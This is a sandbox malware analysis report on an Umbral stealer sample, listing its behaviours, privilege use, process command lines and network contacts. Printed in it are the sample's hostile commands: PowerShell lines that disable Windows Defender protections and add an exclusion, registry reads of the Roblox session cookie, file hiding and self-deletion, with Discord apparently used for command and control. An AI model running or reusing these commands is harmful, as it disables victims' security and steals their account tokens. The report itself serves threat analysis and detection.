Malware Analysis Report

2024-10-10 10:07

Sample ID 240424-yaxycaga6s
Target Saransk.exe
SHA256 4481b5d3ba129725c46aa14c9366b0dbd0bc1adac7f82e5de7fd8b323454ea39
Tags
umbral spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4481b5d3ba129725c46aa14c9366b0dbd0bc1adac7f82e5de7fd8b323454ea39

Threat Level: Known bad

The file Saransk.exe was found to be: Known bad.

Malicious Activity Summary

umbral spyware stealer

Umbral family

Detect Umbral payload

Umbral

Drops file in Drivers directory

Reads user/profile data of web browsers

Deletes itself

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Unsigned PE

Suspicious use of WriteProcessMemory

Runs ping.exe

Enumerates system info in registry

Suspicious use of AdjustPrivilegeToken

Views/modifies file attributes

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Detects videocard installed

Suspicious use of SendNotifyMessage

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-24 19:35

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A

Umbral family

umbral

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-24 19:35

Reported

2024-04-24 19:38

Platform

win7-20231129-en

Max time kernel

35s

Max time network

134s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Saransk.exe"

Signatures

Detect Umbral payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Umbral

stealer umbral

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\Saransk.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Reads user/profile data of web browsers

spyware stealer

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\wmic.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2660 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\system32\attrib.exe
PID 2660 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\system32\attrib.exe
PID 2660 wrote to memory of 2636 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\system32\attrib.exe
PID 2660 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 2980 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1584 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1584 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1584 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2660 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1508 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\System32\Wbem\wmic.exe
PID 2660 wrote to memory of 1888 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\system32\cmd.exe
PID 2660 wrote to memory of 1888 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\system32\cmd.exe
PID 2660 wrote to memory of 1888 N/A C:\Users\Admin\AppData\Local\Temp\Saransk.exe C:\Windows\system32\cmd.exe
PID 1888 wrote to memory of 2612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\PING.EXE
PID 1888 wrote to memory of 2612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\PING.EXE
PID 1888 wrote to memory of 2612 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\PING.EXE
PID 700 wrote to memory of 344 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 344 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 344 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 700 wrote to memory of 1668 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Saransk.exe

"C:\Users\Admin\AppData\Local\Temp\Saransk.exe"

C:\Windows\system32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Saransk.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Saransk.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\system32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Saransk.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6e39758,0x7fef6e39768,0x7fef6e39778

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1156 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1604 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2284 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2308 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1584 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1420 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3208 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3344 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3676 --field-trial-handle=1204,i,2627499049247535198,181318937129514013,131072 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 142.250.180.3:443 gstatic.com tcp
US 8.8.8.8:53 pki.goog udp
US 216.239.32.29:80 pki.goog tcp
US 8.8.8.8:53 www.microsoft.com udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
